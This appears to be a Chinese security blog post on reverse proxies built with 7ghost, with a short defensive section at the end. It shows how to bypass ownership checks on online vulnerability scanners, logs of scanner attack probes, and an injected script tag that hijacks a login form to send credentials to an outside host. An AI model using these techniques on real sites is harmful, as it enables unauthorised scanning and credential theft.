首先請各位客官看這里:http://viptest.yupage.com
這便是一個使用開源程序7ghost搭建的反向代理演示站。
反向代理,是指反向代理服務器從目標內容服務器上抓取內容返回給用戶,反向代理服務器充當了一個中介的功能,它本身是沒有任何內容的。整個流程如下:
整個流程非常簡單,只需要負責映射請求的.htaccess和負責抓取內容的index.php就可完成,中間還可以通過正則表達式等實現內容和網址的替換。
這種技術還廣泛運用于小偷程序中。
現在有一些在線漏洞檢測平臺(如360 安全寶等),都能讓我們對目標網站的安全狀況有一個初步的了解。但是,這些漏洞檢測平臺都是需要驗證所有權的,那么,我們能不能繞過這個限制呢?反向代理能解決這個問題。
首先,使用設置好反向代理的目標(如wooyun.org),然后將我們配置好了反向代理程序的網址輸入到漏洞檢測平臺,選取代碼驗證方式,在我們的核心中轉頁面(index.php)中插入這段代碼,就能夠通過漏洞掃描平臺的驗證,掃目標站的漏洞了。
各個在線漏洞掃描平臺都看上去非常高端洋氣國際化的樣子,那么,它們是怎么掃描的呢?可以使用反向代理來抓掃描語句。
首先,在index.php核心中轉文件中加入一段代碼,將所有請求記錄到log.txt中
#!php
$data = $_SERVER['REQUEST_URI'] . "\n";
if ($_POST) {
foreach ($_POST as $key => $value) {
$data.= "$key=$value" . '\n';
}
}
file_put_contents("log.txt", $data, FILE_APPEND);
然后將搭建好的“蜜罐”丟給360漏洞掃描平臺掃描,大約1個小時后,去看看log.txt,已經記錄下了上千條掃描日志,由于日志太長,無法全部貼上來,選取幾條有代表性的貼上來,并注釋了一下可能的用途,全部日志請在http://viptest.yupage.com/log.txt查看。
/index.php 用蜘蛛從主頁層層抓取頁面
/akjkl678686hjhjk/ 抓取404頁面標識
/admin/ 掃描后臺地址
/backup/ 找備份
/bugs/new_confirm/phpmyadmin/ 找phpmyadmin空口令
/crossdomain.xml 看有沒有flash跨域限制
/bugs/new_submit/fckeditor/upload/ 找有漏洞的編輯器
/examples/jsp/cal/cal2.jsp?time= 檢測XSS
/job.php?action=list%27and%28123%29%3D%27321 掃描SQL注射
/?&redirect:%25{13579246-1} 掃Struts2
/bugs/phpinfo.php 掃phpinfo
/job.php?action=../../../../../../../../../../../../boot.ini%00.htm 掃任意文件讀取
/user.php?action=login%7Cping+-n+12+127.0.0.1 掃命令執行
除此之外,還大量掃描了一些不存在的頁面,如/bugs/new_unclaimed/fckeditor/ajkljlhjh/,不知道有何用意。
由于所有經過反向代理服務器的頁面都可以控制,所以我們也可以利用此進行釣魚。請各位看這里:http://viptest.yupage.com/user.php?action=login
我使用正則表達式在該頁面中插入了一段這樣的代碼
<script src="http://pujun.li/xss.js"></script><script>xss.xform(document.forms[1],'http://vip.yupage.com/wy.php');</script>
使用了長短短的表單劫持代碼,這樣如果用戶在我的演示站登錄烏云帳號時就會自動把烏云帳號發送到我的一個接受頁面,而還是能正常登錄的。除此之外,由于所有經過反向代理服務器的頁面都可以控制,我們還可以做很多事,如在頁面中動態插入一個xsser.me盜cookies等。
看完了反向代理的危害后,如何防止自己的站被反向代理呢?有一段代碼能夠較好地防止被反向代理
.htaccess:
RewriteEngine On RewriteBase / php_value auto_append_file proxy.php proxy.php:
#!php
<?php
if ((getenv("HTTP_X_FORWARDED_FOR")!="")&&($getenv("HTTP_HOST")!="wooyun.org")){
exit();
}
?>
實際上XFF頭完全可以偽造,此方法并不能完全防御住~